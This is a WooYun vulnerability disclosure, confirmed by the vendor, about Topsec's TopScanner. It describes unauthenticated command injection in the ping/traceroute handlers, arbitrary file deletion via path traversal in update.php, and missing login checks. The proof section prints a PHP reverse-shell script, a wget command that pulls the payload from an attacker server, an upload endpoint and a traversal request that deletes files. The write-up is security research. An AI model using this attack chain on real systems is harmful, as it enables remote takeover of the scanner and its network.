当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171065

漏洞标题:天融信TopScanner多处高危漏洞大礼包终结版(无需登录)

相关厂商:天融信

漏洞作者: xfkxfk

提交时间:2016-01-19 11:17

修复时间:2016-04-11 16:08

公开时间:2016-04-11 16:08

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-19: 细节已通知厂商并且等待厂商处理中
2016-01-19: 厂商已经确认,细节仅向厂商公开
2016-01-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-14: 细节向核心白帽子及相关领域专家公开
2016-03-24: 细节向普通白帽子公开
2016-04-03: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

天融信TopScanner多处高危漏洞终结大礼包,命令执行,任意文件删除,全局设计缺陷等,均无需登录,成功shell。

详细说明:

0x01 多处命令执行漏洞
文件direct/polling/CommandsPolling.php

<?php
include_once 'command/CCmdsPolling.php';
$command = isset($_POST['command'])?$_POST['command']:"";
$saveFile = isset($_POST['filename'])?$_POST['filename']:"";
$cmdParam = isset($_POST['cmdParam'])?$_POST['cmdParam']:"";
$cmdParam = trim($cmdParam);
$faultStr = json_encode(array('type'=>'event', 'name'=>'message', 'data'=>array("exception", "", "") ));
//command is null
if(empty($command)){
echo $faultStr;
exit();
}
//exec and get result
$result = array();
$pollingObj = new CCmdsPolling();
if($command == "ping") {
$result = $pollingObj->getPingInfo($cmdParam, $saveFile);
} else if ($command == "traceroute") {
$result = $pollingObj->getTracerouteInfo($cmdParam, $saveFile);
} else {
echo $faultStr;
exit();
}


第一处命令执行:
当$command == "ping"时,$cmdParam和$saveFile进入getPingInfo函数
跟进文件command/CCmdsPolling.php

function getPingInfo($pingIp, $saveFile)
{
$info=array();
if(empty($saveFile)) {
$saveFile = self::ping($pingIp); //第一次发送命令,执行命令,生成需要的文件
}


当$saveFile等于空时,继续跟进ping函数

function ping($ip)
{
if(empty($ip))
return "";

$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";
if($ip && $filename) {
if(file_exists($filename) ) {
unlink($filename);
}
$cmd = "ping -c 5 $ip > $filename 2>&1 &";
exec("$cmd ");
}
return $filename;
}


注意看这里的$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";
继续跟进getClientAddr函数

function getClientAddr(){
unset($onlineip);
if($_SERVER['HTTP_CLIENT_IP']) {
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}else if($_SERVER['HTTP_X_FORWARDED_FOR']) {
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else {
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}


这里直接获取ip,然后返回,无视此系统的GPC=on
最后$filename可控,进入exec中被执行
当然这里的ip也进入cmd,进入exec中被执行,此处已有人提交不在赘述
第二处命令执行
当$command == "traceroute"时,$cmdParam, $saveFile进入getTracerouteInfo函数
跟进getTracerouteInfo函数,文件command/CCmdsPolling.php

function getTracerouteInfo($address, $saveFile)
{
$info=array();
if(empty($saveFile)) {
$saveFile = self::traceroute($address); //第一次发送命令,执行命令,生成需要的文件
}


跟进traceroute函数:

function traceroute($address)
{
if(!$address)
return "";

$filename = "/tmp/". self::getClientAddr()."traceroute".$address.".txt";
if($address && $filename) {
if(file_exists($filename)) {
unlink($filename);
}
$cmd = "traceroute -m " . self::trace_max_hops . " -n $address > $filename 2>&1 &";
exec("$cmd ");
}
return $filename;
}


注意看这里的$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";
继续跟进getClientAddr函数

function getClientAddr(){
unset($onlineip);
if($_SERVER['HTTP_CLIENT_IP']) {
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}else if($_SERVER['HTTP_X_FORWARDED_FOR']) {
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else {
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}


这里直接获取ip,然后返回,无视此系统的GPC=on
最后$filename可控,进入exec中被执行
当然这里的ip也进入cmd,进入exec中被执行,此处已有人提交不在赘述
0x02 多处任意文件删除漏洞
第一处文件删除:
文件/task/webapi/update.php

<?
require_once("datalayer/CDatalayer.php");
include_once "base/CShellExec.php";
$shell = new CShellExec();
$dl = new DataLayer();
$cn = $dl->connectDB();
$dl->queryDB($cn,"use scandb");
$dl->queryDB($cn,"delete from t_pluginadding");
$success = false;
$result = $dl->queryDB($cn,"select * from t_SystemProperty where System_Property='vul_current_version'");
$row = $dl->fetchArray($result);
$vulCurrentVersion = $row["System_Value"];
$dl->queryDB($cn,"update t_SystemProperty set System_value='$vulCurrentVersion' where System_Property='vul_old_version'");
set_time_limit(0);
if($_GET["package"])
{
$filename = $_GET["package"];
$tmpFilename = "/tmp/update_".time().".des";

$filename = trim($filename,"\\");
$filename = "/tmp/".$filename;

$cmd = "/usr/sbin/openssl enc -des -d -a -in ".$filename." -out ".$tmpFilename." -pass pass:rmd@NetP0wer";
$shell->Execute($cmd,"",true);
$dirname = $tmpFilename.".dir";
mkdir($dirname,0777);
}
else
{
......
}
......
unlink($filename);
unlink($tmpFilename);
system("rm -rf ".$dirname);
echo $success;
?>


可以看到$filename = $_GET["package"];
然后进过一些操作后并没有exit
最后$filename进入unlink,导致任意文件删除
当然这里也是存在命令执行的,在$shell->Execute这里
因为已经有人提交了,就不在赘述了
第二处和第三处文件删除:
文件direct/polling/CommandsPolling.php

<?php
include_once 'command/CCmdsPolling.php';
$command = isset($_POST['command'])?$_POST['command']:"";
$saveFile = isset($_POST['filename'])?$_POST['filename']:"";
$cmdParam = isset($_POST['cmdParam'])?$_POST['cmdParam']:"";
$cmdParam = trim($cmdParam);
$faultStr = json_encode(array('type'=>'event', 'name'=>'message', 'data'=>array("exception", "", "") ));
//command is null
if(empty($command)){
echo $faultStr;
exit();
}
//exec and get result
$result = array();
$pollingObj = new CCmdsPolling();
if($command == "ping") {
$result = $pollingObj->getPingInfo($cmdParam, $saveFile);
} else if ($command == "traceroute") {
$result = $pollingObj->getTracerouteInfo($cmdParam, $saveFile);
} else {
echo $faultStr;
exit();
}


$cmdParam, $saveFile参数分别进入getPingInfo和getTracerouteInfo函数
跟进getPingInfo和getTracerouteInfo函数

function getPingInfo($pingIp, $saveFile)
{
$info=array();
if(empty($saveFile)) {
$saveFile = self::ping($pingIp); //第一次发送命令,执行命令,生成需要的文件
}
......
function ping($ip)
{
if(empty($ip))
return "";

$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";
if($ip && $filename) {
if(file_exists($filename) ) {
unlink($filename);
}
$cmd = "ping -c 5 $ip > $filename 2>&1 &";
exec("$cmd ");
}
return $filename;
}
......
function getClientAddr(){
unset($onlineip);
if($_SERVER['HTTP_CLIENT_IP']) {
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}else if($_SERVER['HTTP_X_FORWARDED_FOR']) {
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else {
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}


可见在getPingInfo函数中,然后当$saveFile为空时进入ping函数
然后在ping函数中:
$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";
继续看看getClientAddr函数中,直接从$_SERVER中获取ip地址,然后返回
所以这里就无视GPC了,且此系统时GPC=on的
最后导致ping函数中的$filename可控,最后$filename进入unlink函数中
$filename的值可用%00截断,导致任意文件删除
第三处和第二处原理一样
在traceroute函数中的$filename可控,最后$filename进入unlink函数中
$filename的值可用%00截断,导致任意文件删除
0x03 全局设计缺陷
为什么叫全局,因为这是一个安全产品,说有功能都应该是登陆后操作
但是这里在对对应功能操作是,根本没有验证登录状态
所以无需登录就可操作全局页面功能
此系统是设有全局登录验证函数的:
如direct/polling/progressbarPolling.php文件中

if(!($userName = GetSessionVariable('userName'))){   //取得登录用户名
echo json_encode(array(
'type'=>'event',
'name'=>'np_probe_device_alive_event',
'data'=>false
));
exit();
}


这里进行了登录状态验证,session中没有username即exit,看看GetSessionVariable函数
文件base/session.php

function GetSessionVariable($key)
{
return $_SESSION[netpower][$key];
}


从session中取userName得内容
但是95%以上的地方都没有使用这样的验证
如device/device_export.php直接导出设备信息
distribute/vuldetial.php所以插件漏洞信息
policy/param_export.php策略信息导出
task/task_export.php任务信息导出
等等

漏洞证明:

命令执行证明:
当command=ping,filename为空,cmdParam不为空
1、在vps上放置shell.php,内容为:

<?php 
$sock=fsockopen("*.*.*.*",61234);
exec("/bin/sh -i <&3 >&3 2>&3");
?>


2、利用这里的命令执行,下载shell.php文件到目标tmp目录下

wget  http://*.*.*.*:8888/shell.php -O /tmp/shell.php


4.png


3、然后利用这里的命令执行,执行下载后的/tmp/shell.php

php -f /tmp/shell.php


5.png


4、成功反弹shell

6.png


当command=traceroute时同理
文件删除证明:
利用设计缺陷中的无需登录文件上传,上传一个文件上去
文件device/device_import.php

<?
/*
* 上传文件
*/
$UploadAction=0;
$TimeLimit=60; /*设置超时限制时间
缺省时间为 30秒
设置为0时为不限时 */
set_time_limit($TimeLimit);
if(move_uploaded_file($_FILES["importUpload"]["tmp_name"],"/tmp/" . $_FILES["importUpload"]["name"]))
{
chmod("/tmp/".$_FILES["importUpload"]["name"],0777);
echo '{success:true, file:'.json_encode('文件已经被存储到:'.'/tmp/'.$_FILES['importUpload']['name']).'}';
}else{
echo '{faliure:true, file:上传出错!}';
}
set_time_limit(30); //恢复缺省超时设置
?>


上传文件到tmp下:

7.png


成功上传:

8.png


发送请求:

**.**.**.**/task/webapi/update.php?package=../../../../../../../tmp/1


即可删除文件/tmp/1

9.png


10.png


成功删除

修复方案:

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-19 14:16

厂商回复:

已确认,谢谢提交。

最新状态:

暂无